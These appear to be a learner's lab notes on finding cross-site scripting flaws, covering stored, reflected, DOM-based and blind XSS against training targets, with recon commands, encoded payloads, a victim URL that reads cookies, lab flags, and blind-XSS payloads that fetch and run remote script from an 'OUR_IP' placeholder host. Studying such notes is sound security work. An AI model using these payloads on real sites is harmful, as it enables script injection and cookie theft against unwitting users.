To see whether the payload is persistent and stored on the back-end, refresh the page and see whether the alert get's displayed again. If so, this will confirm whether it is a Stored/Persistent XSS vulnerability. Also, any user who visits the page will trigger the XSS payload and get the same alert.
root@oco:~$ BROWSER > {targetSite:port}
input field: <script>alert(window.origin)</script>
* if sanitization or filtering isn't applied to the input, the page might be
vulnerable to XSS.
- an alert should pop up with the URL of the page it is being executed on,
directly after the input payload or when the page is refreshed
- the alert box would reveal the URL it is being executed on, and will confirm
which form is the vulnerable, in case an IFrame was being used
- Many modern web applications utilize cross-domain IFrames to handle user
input, so that even if the web form is vulnerable to XSS, it would not be a
vulnerability on the main web application
- e.g., 139.59.166.56:31323
- modern browsers may block the alert() JavaScript function in specific locations.
if this is the case, utilize other testing methods
- <plaintext>
- this will stop rendering the HTML code that comes after it and display
it as plaintext
- <script>print()</script>
- this will pop up the browser print dialog, which is unlikely to be blocked by any browsers
root@oco:~$ BROWSER > {targetSite:port} > CTRL + U
* <div></div><ul class="list-unstyled" id="todo"><ul><script>alert(window.origin)</script>
root@oco:~$ BROWSER > {targetSite:port}
input field: <plaintext>
* this is an old, deprecated HTML element that browsers historically interpreted
to render everything following it as plain text
root@oco:~$ BROWSER > {targetSite:port}
input field: <script>print()</script>
TESTING PAGES FOR REFLECTED XSS
Reflected XSS is a vulnerability where an attacker injects malicious code into a web request, which the server reflects in its response, causing the victim’s browser to execute it. Unlike Stored XSS, the payload isn’t saved on the server but is delivered through URLs, form inputs, or request parameters.
METHOD 1:
root@oco:~$ sudo nmap -sC -sV -T4 10.129.202.133 -p-
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3001/tcp open http PHP cli server 5.5 or later
|_http-title: Login
3002/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3003/tcp open http PHP cli server 5.5 or later (PHP 7.4.3)
root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000-3003
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
3002/tcp open exlm-agent
3003/tcp open cgms
root@oco:~$ find / -iname directory-list*
/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
root@oco:~$ cp /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt .
root@oco:~$ ffuf -w directory-list-2.3-small.txt:FUZZ -u http://{targetSite.tld}:{port}/FUZZ -t 100 -ic
api [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 14ms]
API [Status: 200, Size: 15, Words: 1, Lines: 1, Duration: 9ms]
* -w specifies the wordlist
* -u specifies the url
* -t increases the number of threads
* -ic removes commented lines from the file
- ignore wordlist comments (default: false)
root@oco:~$ curl http://10.129.202.133:3000/api
{"status":"UP"}
* try this on Kibana
#perform API endpoint fuzzing common-api-endpoints-mazen160.txt list
root@oco:~$ find / -iname common-api* 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt
root@oco:~$ cp /usr/share/seclists/Discovery/Web-Content/common-api-endpoints-mazen160.txt .
root@oco:~$ ffuf -w common-api-endpoints-mazen160.txt -u 'http://{targetSite:port}/api/FUZZ' -t 100 -ic
download [Status: 200, Size: 71, Words: 5, Lines: 1, Duration: 27ms]
root@oco:~$ curl http://10.129.202.133:3000/api/download
{"success":false,"error":"Input the filename via /download/<filename>"}
root@oco:~$ curl http://10.129.202.133:3000/api/download/testValue
{"success":false,"error":"File not found!"}
root@oco:~$ BROWSER > http://10.129.202.133:3000/api/download/<script>alert(document.domain)</script>
Cannot GET /api/download/%3Cscript%3Ealert(document.domain)%3C/script%3E
* the site url encoded some of the characters
* cURL does not support JavaScript execution; hence, the payload must be executed
in the browser
root@oco:~$ cyberchef.io
input: <script>alert(document.domain)</script>
recipe: URL Encode
- Encode url special chars: enabled
- %3Cscript%3Ealert%28document%2Edomain%29%3C%2Fscript%3E
* the "document.domain" retrieves the domain name of the current webpage.
root@oco:~$ BROWSER > http://10.129.202.133:3000/api/download/%3Cscript%3Ealert%28document%2Edomain%29%3C%2Fscript%3E
* double encoding the payload is a technique often used in bypassing security filters
that only check for single-encoded payloads. however, it only works if the
application decodes user input twice before rendering it in the response.
- also, if the application only decodes once or properly sanitizes the input then
it will NOT work!
METHOD 2:
root@oco:~$ BROWSER > {targetSite:port} > F12 > Network
input field: <script>alert(window.origin)</script>
* identify the parameter used to send the input to the back-end server
- task=
#construct the full URL to send to the victim
root@oco:~$
* http://94.237.63.130:31933/index.php?task=%3Cscript%3Ealert%28window.origin%29%3C%2Fscript%3E
* http://94.237.63.130:31933/index.php?task=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E
- HTB{r3fl3c73d_b4ck_2_m3}
TESTING PAGES FOR DOM-BASED XSS
root@oco:~$ BROWSER > {targetSite:port} > F12 > Network
input field: <script>alert(window.origin)</script>
* if this test doesn't work, view the JavaScript code to determine
whether the input parameter is uses the hashtag symbol #.
if it doesn, then its a good indication that the page is using a client-side parameter
that is completely processed on the browser. This indicates that the input is
being processed at the client-side through JavaScript and never reaches the back-end
- if ($("#task").val().length > 0)...
* also, review the JavaScript code to determine wheather commonly used JavaScript/jQuery
functions to write to DOM objects are used
- document.write(), DOM.innerHTML, DOM.outerHTML, add(), after(), append()
- ...innerHTML = "<b>Next Task:</b> " + decodeURIComponent(task);...
root@oco:~$ BROWSER > {targetSite:port}
input field: <img src="" onerror=alert(window.origin)>
* this creates a new HTML image object, which has a "onerror" attribute that can
execute JavaScript code when the image is not found. it will then execute the
alert function along with the instruction "window.origin"
* HTB{pur3ly_cl13n7_51d3}
BLIND XSS DISCOVERY
A Blind XSS vulnerability occurs when the vulnerability is triggered on a page such as an admin panel that we don't have access to. it usually occurs with forms only accessible by certain users (e.g., Admins). examples include, Contact Forms, Reviews, User Details, Support Tickets, HTTP User-Agent header. to detect an XSS vulnerability where we can't see how the output is handled, we need use a JavaScript payload that sends an HTTP request back to our server. If the JavaScript code gets executed, the attacker's server will get a response thus we'll know that the page is indeed vulnerable.
#XSS payloads used for blind discovery
root@oco:~$ BROWSER > {targetSite:port}
input field: <script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
input field: '><script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
input field: "><script src=http://OUR_IP></script>
root@oco:~$ BROWSER > {targetSite:port}
input field: javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
root@oco:~$ BROWSER > {targetSite:port}
input field: <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
root@oco:~$ BROWSER > {targetSite:port}
input field: <script>$.getScript("http://OUR_IP")</script>
* the script name should reflect the name of the field you are injecting in to easily
identify the vulnerable input field that executed the script